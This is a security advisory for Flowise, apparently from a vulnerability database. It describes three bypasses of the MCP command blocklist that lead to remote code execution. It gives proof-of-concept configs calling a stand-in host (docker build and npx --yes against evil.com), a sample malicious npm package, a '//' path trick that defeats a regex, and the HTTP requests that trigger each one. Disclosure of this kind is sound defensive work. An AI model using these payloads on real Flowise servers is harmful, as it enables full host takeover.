VDB
KO
HIGH

GHSA-m99r-2hxc-cp3q

Flowise has an MCP Security Bypass that Enables RCE

Details

## Summary There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods

## Details

### 【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution

The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine

Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the docker command

Vulnerable function - validateCommandFlags:

``` file: packages/components/nodes/tools/MCP/core.ts:260-310

const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = { docker: [ 'run', 'exec', '-v', '--volume', '--privileged', '--cap-add', '--security-opt', '--network', '--pid', '--ipc' // 'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist ], npx: ['-c', '--call', '--shell-auto-fallback', '-y'], npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'], // ... } export function validateCommandFlags(command: string, args: string[]): ValidationResult { const blacklist = COMMAND_FLAG_BLACKLIST[command] || [] for (const arg of args) { if (blacklist.includes(arg)) { return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` } } } return { valid: true } } ```

Reproduction process:

Add MCP config via UI or API interface, for example:

<img width="1280" height="414" alt="2f0b6dfad5458616781921e1c28339d0" src="https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599" />

Then execute:

``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17

{"question": "1"} ```

After execution, the command can be triggered to execute docker build http://evil.com

<img width="1280" height="319" alt="f98e1d91428be6077ac6cf0472285f17" src="https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0" />

If a privileged container is deployed, then it can fully control the Flowise host machine

### 【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution

The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server

Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the npx command

npx blocklist:

``` file: packages/components/nodes/tools/MCP/core.ts:270-280

npx: ['-c', '--call', '--shell-auto-fallback', '-y'], // Only the short parameter -y is present, without the long parameter alias --yes ```

Reproduction process: Add MCP config via UI or API interface, for example:

<img width="1910" height="690" alt="85ea14ea224df9ed501827dfa47afb09" src="https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6" />

``` { "command": "npx", "args":["--yes", "http://evil.com/FileName.tar"] } ```

Contents of the tar file:

``` // index.js #!/usr/bin/env node const http = require('http'); const { execSync } = require('child_process');

const result = execSync('id && hostname').toString().trim(); console.error('[MCP-RCE-002] npx --yes bypass: ' + result);

// package.json { "name": "attacker-mcp-pkg", "version": "1.0.0", "bin": { "attacker-mcp-pkg": "./index.js" }, "scripts": { "postinstall": "" } } ``` Then execute:

``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17

{"question": "1"} ```

can trigger the vulnerability, execute the attacker's commands, and achieve RCE:

<img width="3026" height="256" alt="4c466067deb4606a38e4b73806661328" src="https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9" />

### node command bypassing local file restrictions leads to remote code execution

When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE

Precondition: Have a Flowise account

Analysis of Vulnerable Code:

``` // packages/components/nodes/tools/MCP/core.ts:177-220

export const validateArgsForLocalFileAccess = (args: string[]): void => { const dangerousPatterns = [ // Absolute paths /^\/[^/]/, // Unix absolute paths starting with / /^[a-zA-Z]:\\/, // Windows absolute paths like C:\

// Relative paths that could escape current directory /\.\.\//, // Parent directory traversal with ../ /\.\.\\/, // Parent directory traversal with ..\ /^\.\./, // Starting with ..

// Local file access patterns /^\.\//, // Current directory with ./ /^~\//, // Home directory with ~/ /^file:\/\//, // File protocol

// Common file extensions that shouldn't be accessed /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,

// File flags and options that could access local files /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i, /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i ] ```

The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^\/[^/]/" has a matching issue

As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/')

<img width="1280" height="570" alt="ea354264cbb2ace6a3a6a16e00f1d298" src="https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a" />

Therefore, the limitation of this function can be bypassed by starting with //

** Reproduction process: **

Create a new chatflow as follows:

<img width="1280" height="716" alt="7e884613b5897509b39467f8f3b7aae1" src="https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92" />

After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory

orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:

<img width="1280" height="702" alt="48b5ab8412babba312f502be5db1dad3" src="https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b" />

For example: ``` ~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js ```

Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:

<img width="1280" height="716" alt="990e1c81ed3957c5ae823e55efec15a5" src="https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99" />

``` POST /api/v1/export-import/import HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json x-request-from: internal Cookie: cookie Connection: keep-alive Content-Length: 479

{ "ChatMessage": [ { "id": "11111111-2222-4333-8444-555555555555", "role": "userMessage", "chatflowid": "{chatflow_id}", "content": "seed for home path test", "chatType": "EXTERNAL", "chatId": "audit-home-001", "createdDate": "2026-03-04T06:40:00.000Z", "fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]" } ] } ```

<img width="1280" height="748" alt="d7f947940f4e6b6e95a61bcc301c25c0" src="https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10" />

``` POST /api/v1/export-import/chatflow-messages HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json x-request-from: internal Cookie: cookie Connection: keep-alive Content-Length: 57

{"chatflowId":"{chatflow_id}"}

```

After obtaining the absolute path, simply modify the path in args to the path of the file name:

``` { "command": "node", "args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"] } ```

After saving, execution will trigger RCE

``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17

{"question": "1"} ```

## Impact

This vulnerability allows attackers to execute arbitrary commands on the Flowise server .

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / flowise
Introduced in: 0 Fixed in: 3.1.2
Fix npm install flowise@3.1.2
npm / flowise-components
Introduced in: 0 Fixed in: 3.1.2
Fix npm install flowise-components@3.1.2

References